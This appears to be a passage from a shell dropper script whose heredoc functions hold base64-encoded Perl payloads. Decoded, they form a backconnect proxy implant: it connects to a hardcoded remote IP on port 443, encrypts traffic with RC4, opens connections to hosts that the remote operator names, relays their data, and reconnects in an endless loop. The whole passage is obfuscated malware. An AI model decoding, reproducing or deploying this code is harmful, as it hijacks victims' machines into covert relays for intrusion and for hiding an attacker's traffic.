YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_11() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
